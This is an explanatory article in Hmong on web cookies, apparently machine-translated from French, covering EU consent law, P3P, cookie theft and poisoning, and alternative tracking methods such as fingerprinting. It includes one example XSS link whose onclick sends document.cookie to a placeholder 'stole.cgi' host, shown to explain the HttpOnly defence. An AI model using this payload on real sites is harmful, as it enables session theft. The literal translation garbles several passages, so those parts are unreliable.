Cov ntaub ntawv no tau hloov kho los ntawm Cov Lus Qhia 2009/136/EC hnub tim 25 lub Kaum Ib Hlis 2009 uas tau hais tias "kev khaws cov ntaub ntawv, lossis kev nkag mus rau cov ntaub ntawv uas twb tau khaws tseg lawm, hauv cov khoom siv davhlau ya nyob twg ntawm tus neeg siv khoom lossis cov neeg siv tau tso cai tsuas yog nyob rau hauv cov xwm txheej uas cov cov neeg siv khoom lossis cov neeg siv tau muab nws qhov kev tso cai, tom qab tau txais, ua raws li Cov Lus Qhia 95/46 / EC, cov ntaub ntawv meej thiab tiav, ntawm lwm tus ntawm lub hom phiaj ntawm kev ua haujlwm ". Cov lus qhia tshiab yog li ntawd ntxiv dag zog rau cov luag num ua ntej muab ncuav qab zib rau hauv Internet tus neeg siv lub computer.

Nyob rau hauv qhov kev txiav txim siab ua ntej ntawm cov lus qhia, tus neeg tsim cai lij choj European tau hais tias: "Qhov twg ua tau zoo thiab ua haujlwm tau zoo, raws li cov kev cai cuam tshuam ntawm Cov Lus Qhia 95/46 / EC, kev tso cai ntawm tus neeg siv hais txog kev ua haujlwm yuav raug qhia los ntawm siv cov chaw tsim nyog ntawm browser lossis lwm daim ntawv thov ". Tab sis qhov tseeb, tsis muaj browser rau hnub tim ua rau nws tuaj yeem cuam tshuam qhov tseem ceeb ntawm cov ncuav qab zib los ntawm cov kev xaiv uas yuav tsum tau tso rau tus neeg siv xaiv.

Cov lus qhia tshiab no tau hloov pauv los ntawm Belgian MPs thaum Lub Xya Hli 2012. Ib txoj kev tshawb fawb xyoo 2014 qhia tau tias txawm tias MPs tawm tsam los thov. cov kev txwv ntawm cov lus qhia.

P3P

P3P qhov tshwj xeeb suav nrog lub peev xwm rau tus neeg rau zaub mov los hais txog txoj cai ntiag tug, uas txhais cov ntaub ntawv zoo li cas nws khaws thiab rau lub hom phiaj twg. Cov cai no suav nrog (tab sis tsis txwv rau) kev siv cov ntaub ntawv sau los ntawm cov ncuav qab zib. Raws li cov ntsiab lus ntawm P3P, lub browser tuaj yeem lees txais lossis tsis lees txais cov ncuav qab zib los ntawm kev sib piv cov cai ntiag tug nrog tus neeg siv cov kev nyiam lossis los ntawm kev nug tus neeg siv, nthuav qhia txoj cai ntiag tug ntiag tug uas tau tshaj tawm los ntawm lub server.

Ntau lub browsers, suav nrog Apple Safari thiab Microsoft Internet Explorer versions 6 thiab 7, txhawb P3P uas tso cai rau tus browser los txiav txim seb puas yuav txais cov khoom qab zib thib peb. Opera browser tso cai rau cov neeg siv tsis kam lees cov ncuav qab zib thib peb thiab tsim lub ntiaj teb thiab tshwj xeeb kev ruaj ntseg profile rau Internet domains. Mozilla Firefox version 2 poob P3P kev them nyiaj yug tab sis rov kho nws hauv version 3.

Cov ncuav qab zib thib peb tuaj yeem raug thaiv los ntawm feem ntau ntawm cov browsers txhawm rau ua kom tsis pub lwm tus paub thiab txo qis kev tshaj tawm, tsis muaj kev cuam tshuam rau tus neeg siv lub vev xaib kev paub. Ntau lub koom haum tshaj tawm muaj kev xaiv xaiv tawm txhawm rau tsom mus rau kev tshaj tawm, los ntawm kev teeb tsa cov ncuav qab zib hauv qhov browser uas deactivates lub hom phiaj no, tab sis cov kev daws teeb meem zoo li no tsis zoo, thaum nws raug hwm, vim tias cov ncuav qab zib zoo li no tau muab tshem tawm sai li sai tau thaum tus neeg siv tshem tawm cov ncuav qab zib uas tshem tawm qhov kev xaiv. tawm kev txiav txim.

Disadvantages ntawm ncuav qab zib

Ntxiv nrog rau cov teeb meem ntiag tug, ncuav qab zib kuj muaj qee qhov kev tsis zoo. Tshwj xeeb, lawv tsis tas yuav txheeb xyuas cov neeg siv khoom kom raug, lawv tuaj yeem ua haujlwm qeeb ntawm qhov chaw ua haujlwm thaum muaj tus lej loj, lawv tuaj yeem siv rau kev tawm tsam kev ruaj ntseg, thiab lawv tsis sib haum xeeb nrog cov neeg sawv cev ntawm lub xeev hloov chaw, architectural style ntawm software.

Kev qhia tsis tseeb

Yog tias ntau tshaj ib qho browser siv rau hauv lub computer, nyob rau hauv txhua tus ntawm lawv muaj ib txwm ib qho chaw cia rau cov ncuav qab zib. Cov ncuav qab zib yog li tsis txheeb xyuas tus neeg, tab sis kev sib xyaw ntawm tus neeg siv nyiaj, lub computer, thiab lub vev xaib browser. Yog li, leej twg tuaj yeem siv cov nyiaj no, khoos phis tawj, lossis browsers uas muaj panoply ntawm ncuav qab zib. Ib yam li ntawd, cov ncuav qab zib tsis sib txawv ntawm ntau tus neeg siv uas sib koom tib tus neeg siv nyiaj, khoos phis tawj, thiab browser, xws li hauv "internet cafes" lossis ib qho chaw muab kev pabcuam dawb rau hauv computer.

Tab sis nyob rau hauv kev xyaum cov nqe lus no hloov tawm mus rau ib tug poob siab nyob rau hauv feem ntau ntawm cov neeg mob vim hais tias niaj hnub no ib tug "tus kheej" computer (los yog ib tug smartphone, los yog ntsiav tshuaj, uas yog phem tshaj) yog siv tsuas yog los ntawm ib tug tib neeg. los ntawm qhov ntim ntawm cov ntaub ntawv sau tuaj txog ntawm tus kheej lub hom phiaj txawm tias tus neeg tsis yog "npe" txheeb xyuas.

Lub ncuav qab zib tuaj yeem raug nyiag los ntawm lwm lub khoos phis tawj ntawm lub network.

Thaum lub sijhawm ua haujlwm ib txwm, cov ncuav qab zib raug xa rov qab ntawm tus neeg rau zaub mov (lossis ib pawg ntawm cov servers hauv tib lub npe) thiab tus neeg siv lub computer browser. Txij li cov ncuav qab zib tuaj yeem muaj cov ntaub ntawv rhiab heev (tus neeg siv lub npe, tus password siv rau kev lees paub, thiab lwm yam), lawv cov txiaj ntsig yuav tsum tsis txhob nkag mus rau lwm lub khoos phis tawj. Cookie tub sab yog ib qho kev cuam tshuam ntawm cov ncuav qab zib los ntawm tus neeg thib peb uas tsis tau tso cai.

Cov ncuav qab zib tuaj yeem raug nyiag los ntawm pob ntawv sniffer hauv kev tawm tsam hu ua kev sib tham hijacking. Cov tsheb khiav hauv net tuaj yeem cuam tshuam thiab nyeem los ntawm cov khoos phis tawj uas tsis yog cov kev xa thiab tau txais (tshwj xeeb tshaj yog nyob rau hauv qhov chaw tsis muaj ntaub ntawv Wi-Fi). Cov kev khiav tsheb no suav nrog cov ncuav qab zib xa mus rau ntu uas siv HTTP raws tu qauv. Thaum lub network tsheb tsis tau encrypted, cov neeg siv siab phem tuaj yeem nyeem cov kev sib txuas lus ntawm lwm tus neeg siv hauv lub network siv "packet sniffers".

Qhov teeb meem no tuaj yeem kov yeej los ntawm kev nkag mus rau kev sib txuas ntawm tus neeg siv lub computer thiab lub server siv HTTPS raws tu qauv. Ib tus neeg rau zaub mov tuaj yeem qhia txog a ruaj ntseg chij thaum teem lub ncuav qab zib; tus browser yuav tsuas xa nws hla ib txoj kab ruaj ntseg, xws li kev sib txuas SSL.

Txawm li cas los xij, ntau qhov chaw, txawm hais tias siv HTTPS encrypted kev sib txuas lus rau cov neeg siv authentication (piv txwv li nplooj ntawv nkag mus), tom qab xa cov ncuav qab zib thiab lwm yam ntaub ntawv raws li ib txwm, los ntawm kev sib txuas HTTP tsis muaj kev sib txuas rau kev ua tau zoo. Cov neeg tawm tsam tuaj yeem cuam tshuam lwm tus neeg siv cov ncuav qab zib thiab ua rau lawv tus kheej ntawm cov chaw tsim nyog lossis siv lawv hauv cov ncuav qab zib tawm tsam.

Scripting nyob rau hauv lub site: ib tug ncuav qab zib uas yuav tsum tau tsuas yog sib pauv ntawm tus neeg rau zaub mov thiab tus neeg siv khoom raug xa mus rau lwm tus neeg sab nrauv.

Lwm txoj hauv kev los nyiag cov ncuav qab zib yog sau cov vev xaib thiab kom tus browser nws tus kheej xa cov ncuav qab zib rau cov servers phem uas tsis tau txais lawv. Cov browsers niaj hnub no tso cai rau kev ua tiav ntawm qhov nrhiav-tom qab ntawm cov lej los ntawm lub server. Yog tias cov ncuav qab zib nkag mus rau lub sijhawm ua haujlwm, lawv cov txiaj ntsig yuav raug sib txuas lus hauv qee daim ntawv rau cov servers uas yuav tsum tsis txhob nkag mus rau lawv. Encrypting ncuav qab zib ua ntej lawv raug xa mus rau lub network tsis pab thwart qhov kev tawm tsam.

Hom kev sau ntawv hauv qhov chaw no feem ntau yog ua haujlwm los ntawm cov neeg tawm tsam ntawm cov chaw uas tso cai rau cov neeg siv los tshaj tawm cov ntsiab lus HTML. Los ntawm kev koom ua ke ib feem ntawm cov cai sib xws hauv HTML kev koom tes, tus neeg tawm tsam tuaj yeem tau txais cov ncuav qab zib los ntawm lwm tus neeg siv. Kev paub txog cov ncuav qab zib no tuaj yeem siv los ntawm kev sib txuas rau tib lub xaib siv cov ncuav qab zib raug nyiag, yog li tau lees paub tias yog tus neeg siv uas nws cov ncuav qab zib raug nyiag lawm.

Ib txoj hauv kev los tiv thaiv cov kev tawm tsam no yog siv tus chij HttpOnly; nws yog ib qho kev xaiv, qhia txij li version 6 ntawm Internet Explorer hauv PHP txij li version 5.2.0 uas tau npaj ua kom cov ncuav qab zib nkag tsis tau rau tus neeg siv khoom ze rau tsab ntawv. Txawm li cas los xij, web developers yuav tsum coj qhov no mus rau hauv tus account hauv lawv qhov chaw tsim kho kom lawv tiv thaiv kev sau ntawv hauv lub xaib.

Lwm qhov kev hem thawj kev nyab xeeb siv yog xav tau fabrication hauv qhov chaw.

Cov kev cai tshwj xeeb tso cai rau cov ncuav qab zib xa rov qab tsuas yog rau cov servers hauv qhov chaw uas lawv tau los. Txawm li cas los xij, tus nqi ntawm cov ncuav qab zib tuaj yeem xa mus rau lwm cov servers siv txhais tau tias tsis yog cov ncuav qab zib headers.

Tshwj xeeb, scripting languages ​​​​zoo li JavaScript feem ntau tso cai rau nkag mus rau cov khoom qab zib qhov tseem ceeb thiab muaj peev xwm xa cov txiaj ntsig zoo rau txhua tus neeg rau zaub mov hauv Is Taws Nem. Qhov peev xwm sau ntawv no yog siv los ntawm cov vev xaib uas tso cai rau cov neeg siv los tshaj tawm cov ntsiab lus HTML rau lwm tus neeg siv saib.

Piv txwv li, tus neeg tawm tsam ua haujlwm ntawm example.com sau tuaj yeem tshaj tawm cov lus uas muaj qhov txuas hauv qab no taw qhia rau cov blog nrov uas lawv txwv tsis pub:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Thaum lwm tus neeg siv nyem rau ntawm qhov txuas no, qhov browser ua tiav qhov onclick attribute ib feem ntawm cov cai, yog li nws hloov cov ntaub ntawv.cookie hlua nrog cov npe ntawm cov neeg siv cov ncuav qab zib uas nquag siv rau nplooj ntawv no. Yog li, daim ntawv teev npe ntawm cov ncuav qab zib no raug xa mus rau example.com server, thiab tus neeg tawm tsam thiaj li tuaj yeem sau cov ncuav qab zib ntawm tus neeg siv no.

Hom kev tawm tsam no yog qhov nyuaj rau kev txheeb xyuas ntawm tus neeg siv sab vim tias tsab ntawv los ntawm tib lub npe uas tau teeb tsa lub ncuav qab zib, thiab kev ua haujlwm xa cov txiaj ntsig tshwm sim tau tso cai los ntawm lub npe ntawd. Nws raug suav hais tias yog lub luag haujlwm ntawm cov thawj coj ua haujlwm ntawm qhov chaw no los tso rau hauv qhov chaw txwv tsis pub tshaj tawm cov cai phem.

Cov ncuav qab zib tsis pom ncaj qha rau cov neeg siv khoom sab nraud xws li JavaScript yog tias lawv raug xa nrog HttpOnly chij. Los ntawm tus neeg rau zaub mov qhov kev xav, qhov sib txawv tsuas yog tias nyob rau hauv kab ntawm Set-Cookie header muaj ntxiv ib daim teb tshiab uas muaj cov hlua HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Thaum lub browser tau txais cov khoom qab zib zoo li no, nws yuav tsum siv nws ib txwm siv hauv HTTP pauv hauv qab no, tab sis tsis ua rau nws pom cov ntawv ua tiav ntawm tus neeg siv khoom. Tus chij HttpOnly tsis yog ib feem ntawm ib qho kev qhia tshwj xeeb, thiab tsis siv rau hauv txhua qhov browsers. Nco ntsoov tias tam sim no tsis muaj txoj hauv kev los tiv thaiv kev nyeem ntawv thiab sau cov ncuav qab zib los ntawm XMLHTTPRequest txoj kev.

Kev hloov kho cov ntsiab lus: tus neeg tawm tsam xa cov ncuav qab zib tsis raug rau lub server, tejzaum nws yog tsim los ntawm cov kua nplaum uas siv tau xa los ntawm lub server.

Thaum cov ncuav qab zib yuav tsum tau khaws cia thiab xa rov qab tsis hloov mus rau lub server, tus neeg tawm tsam tuaj yeem hloov kho tus nqi ntawm cov ncuav qab zib ua ntej lawv xa rov qab mus rau lub server. Piv txwv li, yog tias lub ncuav qab zib muaj tag nrho cov nqi uas tus neeg siv yuav tsum tau them rau cov khoom muab tso rau hauv lub khw muag khoom lub laub, hloov tus nqi no nthuav tawm cov neeg rau zaub mov kom muaj kev pheej hmoo ntawm kev them tus neeg tawm tsam tsawg dua tus nqi pib. Tus txheej txheem ntawm kev hloov kho tus nqi ntawm ncuav qab zib hu ua ncuav qab zib lom thiab tuaj yeem siv tom qab cov khoom qab zib tub sab los ua kom muaj kev tawm tsam tsis tu ncua.

Hauv cov txheej txheem ncuav qab zib override, tus neeg tawm tsam siv qhov browser glitch xa cov ncuav qab zib tsis raug rau lub server.

Feem ntau cov vev xaib, txawm li cas los xij, tsuas yog khaws cov ID sib tham - ib tus lej tsim tshwj xeeb siv los txheeb xyuas cov neeg siv kev sib tham - hauv cov ncuav qab zib nws tus kheej, thaum tag nrho lwm cov ntaub ntawv khaws cia rau ntawm lub server. Nyob rau hauv cov ntaub ntawv no, qhov teeb meem no loj heev daws.

Txhua qhov chaw yuav tsum muaj nws cov ncuav qab zib, yog li ib lub xaib yuav tsum tsis tuaj yeem hloov kho lossis tsim cov ncuav qab zib cuam tshuam nrog lwm qhov chaw. Lub web browser kev ruaj ntseg qhov tsis zoo tuaj yeem tso cai rau cov chaw tsis zoo los ua txhaum txoj cai no. Kev siv cov kev tsis zoo no feem ntau hu ua hla qhov chaw ua noj. Lub hom phiaj ntawm qhov kev tawm tsam no tuaj yeem yog kev sib tham ID tub sab.

Cov neeg siv yuav tsum siv qhov tseeb versions ntawm lub vev xaib browsers uas cov kev tsis zoo no tau raug tshem tawm zoo.

Kev tsis sib haum xeeb ntawm cov neeg siv khoom thiab server

Kev siv cov ncuav qab zib tuaj yeem ua rau muaj kev tsis sib haum xeeb ntawm lub xeev ntawm tus neeg siv khoom thiab lub xeev khaws cia hauv lub ncuav qab zib. Yog tias tus neeg siv tau txais cov ncuav qab zib thiab nyem rau ntawm "Rov qab" khawm ntawm qhov browser, lub xeev ntawm qhov browser feem ntau tsis zoo ib yam li ua ntej qhov tau txais no. Piv txwv li, yog tias lub pob tawb ntawm lub khw hauv online yog tsim siv cov ncuav qab zib, cov ntsiab lus ntawm pob tawb tsis tuaj yeem hloov pauv thaum tus neeg siv rov qab mus rau qhov browser keeb kwm: yog tias tus neeg siv nias lub pob ntxiv ib tsab xov xwm hauv nws pob tawb thiab nyem rau ntawm "Rov qab. " khawm, kab lus tseem nyob hauv qhov no. Qhov no tej zaum yuav tsis yog lub hom phiaj ntawm tus neeg siv, leej twg yeej xav tshem tawm qhov sib ntxiv ntawm tsab xov xwm. Qhov no tuaj yeem ua rau muaj kev ntseeg siab, tsis meej pem, thiab kab laum. Yog li cov neeg tsim tawm lub vev xaib yuav tsum paub txog qhov teeb meem no thiab siv cov kev ntsuas los daws cov xwm txheej zoo li no.

Cov ncuav qab zib tsis tu ncua tau raug thuam los ntawm cov kws paub txog kev nyab xeeb tsis pub lwm tus paub vim tsis tau teem sijhawm kom tas sijhawm sai, yog li tso cai rau cov vev xaib los taug qab cov neeg siv thiab tsim lawv cov profile dhau sijhawm. Qhov nam ntawm ncuav qab zib no kuj yog ib feem ntawm qhov kev sib tham hijacking teeb meem, vim hais tias ib tug neeg nyiag lawm cov ncuav qab zib tuaj yeem siv los ua tus neeg siv rau lub sijhawm ntev.

Nyeem kuj: GAFAM: lawv yog leej twg? Vim li cas lawv (qee zaus) txaus ntshai?

Lwm txoj rau ncuav qab zib

Qee qhov kev ua haujlwm uas tuaj yeem ua tau siv cov ncuav qab zib kuj tuaj yeem ua tau siv lwm cov txheej txheem uas hla cov ncuav qab zib lossis rov tsim cov ncuav qab zib uas tau muab tshem tawm, uas tsim teeb meem ntiag tug tib yam (lossis qee zaum phem dua vim tias tsis pom) dua li ncuav qab zib.

IP chaw nyob

Cov neeg siv tuaj yeem taug qab nrog tus IP chaw nyob ntawm lub computer hu rau nplooj ntawv. Cov txheej txheem no tau muaj txij li qhov kev taw qhia ntawm World Wide Web, raws li cov nplooj ntawv tau rub tawm cov neeg rau zaub mov thov tus IP chaw nyob ntawm lub khoos phis tawj khiav lub browser lossis npe, yog tias tsis siv. Tus neeg rau zaub mov tuaj yeem taug qab cov ntaub ntawv no seb puas muaj cov ncuav qab zib siv. Txawm li cas los xij, cov chaw nyob no feem ntau tsis tshua muaj kev ntseeg siab hauv kev txheeb xyuas tus neeg siv ntau dua cov ncuav qab zib vim tias cov khoos phis tawj thiab cov npe tuaj yeem raug muab faib los ntawm ntau tus neeg siv, thiab tib lub khoos phis tawj yuav tau txais IP chaw sib txawv ntawm txhua qhov haujlwm ua haujlwm (xws li c feem ntau rooj plaub rau kev sib txuas hauv xov tooj) .

Kev taug qab los ntawm IP chaw nyob tuaj yeem txhim khu kev qha hauv qee qhov xwm txheej, xws li kev sib txuas lus dav dav uas tswj hwm tus IP chaw nyob rau lub sijhawm ntev, ntev npaum li lub zog siv.

Qee lub tshuab zoo li Tor tau tsim los tswj kev tsis qhia npe hauv Is Taws Nem thiab ua kom taug qab los ntawm IP chaw nyob tsis tuaj yeem lossis ua tsis tau.

URL

Cov txheej txheem meej dua yog ua raws li kev kos cov ntaub ntawv hauv URLs. Cov lus nug txoj hlua ib feem ntawm URL yog ib qho txheej txheem uas feem ntau siv rau lub hom phiaj no, tab sis lwm qhov chaw tuaj yeem siv tau thiab. Ob lub Java serverlet thiab PHP kev sib kho tshuab siv cov qauv no yog tias cov ncuav qab zib tsis tau qhib.

Txoj kev no suav nrog lub vev xaib neeg rau zaub mov ntxiv txoj hlua thov rau cov kev sib txuas ntawm nplooj ntawv web uas nqa nws thaum nws xa mus rau qhov browser. Thaum tus neeg siv ua raws qhov txuas, tus browser xa rov qab cov lus nug txuas mus rau lub server.

Cov kab lus nug siv rau lub hom phiaj no thiab ncuav qab zib zoo sib xws, ob qho tib si yog cov ntaub ntawv xaiv los ntawm tus neeg rau zaub mov thiab xa rov qab los ntawm browser. Txawm li cas los xij, muaj qee qhov sib txawv: thaum URL uas muaj cov lus nug rov qab siv dua, tib cov ntaub ntawv raug xa mus rau lub server. Piv txwv li, yog tias tus neeg siv qhov kev nyiam raug muab tso rau hauv cov lus nug ntawm qhov URL thiab tus neeg siv xa qhov URL mus rau lwm tus neeg siv los ntawm email, tus neeg siv kuj tseem tuaj yeem siv cov kev nyiam ntawd.

Ntawm qhov tod tes, thaum tus neeg siv nkag mus rau tib nplooj ntawv ob zaug, tsis muaj kev lees paub tias tib txoj hlua nug yuav raug siv ob zaug. Piv txwv li, yog tias tus neeg siv tsaws rau ntawm nplooj ntawv los ntawm nplooj ntawv sab hauv thawj zaug thiab tsaws rau tib nplooj ntawv los ntawm nplooj ntawv sab nraud lub sijhawm thib ob, cov lus nug txog cov nplooj ntawv nplooj ntawv feem ntau sib txawv, thaum cov ncuav qab zib yog tib yam. .

Lwm qhov tsis zoo ntawm cov kab lus nug muaj feem xyuam nrog kev ruaj ntseg: khaws cov ntaub ntawv uas txheeb xyuas qhov kev sib tham hauv cov kab lus nug ua kom yooj yim los yog ua kom yooj yim rau kev sib kho qhov kev tawm tsam, kev qhia txog kev tawm tsam, thiab lwm yam kev siv. Hla kev sib ntsib IDs li HTTP ncuav qab zib muaj kev nyab xeeb dua.

Nthuav daim ntawv teb

Ib daim ntawv ntawm kev sib ntsib taug qab, siv los ntawm ASP.NET, yog siv cov ntawv web nrog cov chaw zais. Cov txheej txheem no zoo ib yam li siv cov kab lus nug URL los nqa cov ntaub ntawv thiab muaj qhov zoo thiab qhov tsis zoo; thiab yog tias daim ntawv ua tiav nrog HTTP GET txoj kev, cov teb tau dhau los ua ib feem ntawm URL ntawm qhov browser uas yuav xa nws thaum xa daim ntawv. Tab sis feem ntau cov ntaub ntawv tau ua tiav nrog HTTP POST, uas ua rau cov ntaub ntawv cov ntaub ntawv, suav nrog cov chaw zais, yuav tsum tau ntxiv los ua ib qho kev tawm tswv yim ntxiv uas tsis yog ib feem ntawm URL lossis cov ncuav qab zib.

Txoj hauv kev no muaj ob qhov zoo los ntawm kev taug qab qhov pom: ua ntej, taug qab cov ntaub ntawv muab tso rau hauv HTML qhov chaws thiab POST cov tswv yim ntau dua li qhov URL yuav tso cai rau cov neeg siv nruab nrab kom zam qhov kev taug qab no; Thib ob, cov ntaub ntawv kev sib tham tsis tau theej thaum tus neeg siv luam theej qhov URL (kom txuag nplooj ntawv rau disk lossis xa hauv email, piv txwv li).

window. npe

Txhua qhov web browsers tuaj yeem khaws cov ntaub ntawv ntau heev (2MB txog 32MB) ntawm JavaScript siv DOM's window.name cov cuab yeej. Cov ntaub ntawv no tuaj yeem siv los hloov cov ncuav qab zib sib tham thiab tseem siv tau thoob plaws lub tebchaws. Cov txheej txheem tuaj yeem ua ke nrog JSON cov khoom khaws cia cov txheej txheem nyuaj ntawm cov neeg siv khoom sib tham sib txawv.

Lub downside yog tias txhua lub qhov rais cais lossis tab yuav pib muaj qhov khoob qhov rai.name; thaum browsing los ntawm tabs (qhib los ntawm tus neeg siv) qhov no txhais tau hais tias cov tabs qhib ib tus zuj zus yuav tsis muaj lub npe qhov rais. Ntxiv rau qhov window.name tuaj yeem siv los taug qab cov neeg tuaj saib thoob plaws ntau qhov chaw uas tuaj yeem ua rau muaj kev txhawj xeeb txog kev ceev ntiag tug.

Hauv qee qhov kev hwm qhov no tuaj yeem muaj kev nyab xeeb dua li cov ncuav qab zib, vim tias tsis muaj kev koom tes ntawm cov neeg rau zaub mov, yog li ua rau nws tsis muaj zog rau lub network nres ntawm sniffer ncuav qab zib. Txawm li cas los xij, yog tias muaj kev ntsuas tshwj xeeb los tiv thaiv cov ntaub ntawv, nws yog qhov yooj yim rau kev tawm tsam ntxiv, vim tias cov ntaub ntawv muaj nyob hauv lwm qhov chaw qhib hauv tib lub qhov rais.

HTTP authentication

HTTP raws tu qauv suav nrog cov txheej txheem nkag mus rau kev lees paub qhov tseeb thiab kev nkag mus rau kev lees paub qhov tseeb, uas tso cai rau nkag mus rau nplooj ntawv web tsuas yog thaum tus neeg siv tau muab tus username thiab password. Yog tias tus neeg rau zaub mov thov daim ntawv pov thawj los tso cai nkag mus rau nplooj ntawv web, browser thov nws los ntawm tus neeg siv thiab ib zaug tau txais, browser khaws nws thiab xa nws hauv txhua qhov kev thov HTTP tom ntej. Cov ntaub ntawv no tuaj yeem siv los taug qab tus neeg siv.

Cov khoom siv hauv zos

Yog tias qhov browser suav nrog Adobe Flash Player plugin, lub cov khoom siv hauv zos tuaj yeem siv rau tib lub hom phiaj xws li ncuav qab zib. Lawv tuaj yeem yog qhov kev xaiv txaus nyiam rau cov neeg tsim tawm lub vev xaib vim tias:

  • qhov loj me me txwv rau ib qho khoom siv hauv zos yog 100 KB;
  • Kev kuaj xyuas kev ruaj ntseg yog cais los ntawm cov neeg siv khoom noj khoom haus checks (yog li cov khoom sib koom hauv zos tuaj yeem tso cai thaum cov ncuav qab zib tsis yog).

Lub ntsiab lus kawg no, uas txawv ntawm txoj cai tswj hwm cov ncuav qab zib los ntawm Adobe cov khoom sib koom hauv zos tsa lus nug hais txog kev tswj hwm los ntawm tus neeg siv ntawm nws qhov chaw ntiag tug: nws yuav tsum paub tias nws txoj kev tswj hwm cov ncuav qab zib tsis muaj kev cuam tshuam rau kev tswj hwm cov khoom sib koom hauv zos, thiab rov ua dua.

Lwm qhov kev thuam ntawm cov kab ke no yog tias nws tsuas yog siv tau los ntawm Adobe Flash Player plugin uas yog tus tswv thiab tsis yog tus qauv web.

Client-side persistence

Qee qhov web browsers txhawb nqa tsab ntawv-raws li kev ua haujlwm tsis tu ncua, uas tso cai rau nplooj ntawv khaws cov ntaub ntawv hauv zos rau kev siv tom qab. Internet Explorer, piv txwv li, txhawb nqa cov ntaub ntawv tsis tu ncua hauv keeb kwm browser, hauv bookmarks, hauv hom ntawv khaws cia hauv XML, lossis ncaj qha nrog nplooj ntawv web khaws cia rau disk. Rau Microsoft Internet Explorer 5, muaj tus neeg siv-cov ntaub ntawv txoj kev muaj los ntawm DHTML tus cwj pwm.

W3C tau qhia hauv HTML 5 qhov tshiab JavaScript API rau cov neeg siv khoom-sab cov ntaub ntawv khaws cia hu ua Web cia thiab tsom mus hloov cov ncuav qab zib mus tas li. Nws zoo ib yam li cov ncuav qab zib tab sis muaj peev xwm txhim kho tau zoo thiab tsis muaj cov ntaub ntawv khaws cia hauv header ntawm HTTP thov. API tso cai rau ob hom kev khaws cia hauv lub vev xaib: localstorage thiab sessionstorage, zoo ib yam li cov ncuav qab zib tsis tu ncua thiab kev sib kho cov ncuav qab zib (tshwj tsis yog cov ncuav qab zib qhov kev sib kho tas sijhawm thaum browser kaw thaum kev khaws cia tas sij hawm thaum lub tab raug kaw), feem. Lub vev xaib cia tau txais kev txhawb nqa los ntawm Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 thiab Opera 10.50.

Ib qho kev sib txawv ib txwm tso siab rau ntawm qhov browser caching (hauv kev nco ntau dua li rov ua dua tshiab) siv cov kev pabcuam JavaScript hauv cov nplooj ntawv web. 

Piv txwv li, ib nplooj ntawv tuaj yeem muaj tag . La premiĂšre fois que la page se charge, le programme exemple.js est aussi chargĂ©. 

Lub sijhawm no, qhov kev zov me nyuam tseem nyob hauv lub cim xeeb cache thiab nplooj ntawv mus xyuas tsis rov qab ua dua zaum ob. Yog li ntawd, yog tias qhov kev zov me nyuam muaj qhov hloov pauv thoob ntiaj teb (piv txwv li var id = 3243242;), tus cim no tseem siv tau thiab tuaj yeem siv tau los ntawm lwm yam JavaScript code ib zaug nplooj ntawv tau thauj khoom dua, lossis ib nplooj ntawv txuas rau qhov program raug thauj khoom. 

Qhov tsis zoo ntawm txoj kev no yog tias JavaScript ntiaj teb hloov pauv yuav tsum zoo li qub, txhais tau tias nws tsis tuaj yeem hloov lossis tshem tawm zoo li lub ncuav qab zib.

web browser ntiv tes

Tus browser ntiv tes yog cov ntaub ntawv sau txog kev teeb tsa ntawm lub browser rau kev txheeb xyuas lub hom phiaj. Cov ntiv tes no tuaj yeem siv los ua kom tag nrho lossis ib feem txheeb xyuas tus neeg siv Is Taws Nem lossis ib lub cuab yeej txawm tias thaum lub ncuav qab zib raug kaw.

Cov ntaub ntawv hauv web browser configuration tau ntev tau sau los ntawm lub vev xaib cov kev pabcuam rau lub hom phiaj ntawm kev ntsuas tib neeg lub vev xaib kom raug thiab tshawb xyuas ntau hom kev dag ntxias. Nrog kev pab los ntawm cov neeg siv-sab ntawv sau cov lus, ntau cov ntaub ntawv raug sau ntau dua tam sim no ua tau.

Hloov cov ntaub ntawv no mus rau hauv ib txoj hlua me ntsis ua rau lub cuab yeej ntiv tes. Hauv xyoo 2010, Electronic Frontier Foundation (EFF) tau ntsuas qhov entropy ntawm tus browser tus ntiv tes kom tsawg kawg. 18,1 khoom, thiab qhov ntawd yog ua ntej kev nce qib hauv canvas fingerprinting ntxiv 5,7 khoom rau qhov entropy.

Ncuav qab zib nyob rau hauv ib tug nutshell

Cov ncuav qab zib yog cov ntawv me me khaws cia los ntawm lub vev xaib browser ntawm lub vev xaib tus neeg tuaj saib lub hard drive thiab uas tau siv (nrog rau lwm yam) los sau cov ntaub ntawv hais txog tus qhua lossis lawv txoj kev taug kev hauv lub xaib. Lub webmaster thiaj li paub txog tus cwj pwm ntawm tus qhua thiab ua tus kheej qhov kev nthuav qhia ntawm nws qhov chaw rau txhua tus qhua; ncuav qab zib ces ua kom nws nco ntsoov muaj pes tsawg cov ntawv los tso rau ntawm nplooj ntawv home lossis tseem khaws cov ntaub ntawv nkag mus rau ib tog neeg ntiag tug: thaum tus qhua rov qab los rau ntawm qhov chaw, nws tsis tas yuav tsum tau ntaus nws lub npe thiab lo lus zais rau. raug lees paub, txij li lawv tau txais kev nyeem hauv cov ncuav qab zib.

Ib lub ncuav qab zib muaj qhov txwv tsis pub muaj sia nyob, teeb tsa los ntawm tus tsim lub vev xaib. Lawv kuj tuaj yeem ua tiav thaum kawg ntawm qhov kev sib kho ntawm qhov chaw, uas sib haum rau qhov kev kaw ntawm qhov browser. Cov ncuav qab zib tau siv dav los ua kom lub neej yooj yim dua rau cov neeg tuaj saib thiab nthuav qhia lawv nrog cov ntaub ntawv tseem ceeb. Tab sis cov tswv yim tshwj xeeb ua rau nws muaj peev xwm ua raws li tus neeg tuaj saib ntawm ntau qhov chaw thiab yog li khaws thiab txheeb xyuas cov ntaub ntawv dav dav ntawm nws tus cwj pwm. Txoj kev no tau muab kev siv cov ncuav qab zib ua lub koob npe nrov raws li cov txheej txheem kev soj ntsuam uas ua txhaum txoj cai ntiag tug ntawm cov neeg tuaj saib, uas hmoov tsis zoo sib xws rau qhov tseeb hauv ntau qhov kev siv rau cov laj thawj tsis yog txheej txheem lossis tsis hwm cov neeg siv kev cia siab.

Hauv kev teb rau cov kev ntshai raug cai no, HTML 5 qhia txog JavaScript API tshiab rau cov neeg siv khoom-sab cov ntaub ntawv khaws cia hu ua Web cia, uas muaj kev nyab xeeb dua thiab muaj peev xwm ntau dua, uas yog lub hom phiaj los hloov cov ncuav qab zib.

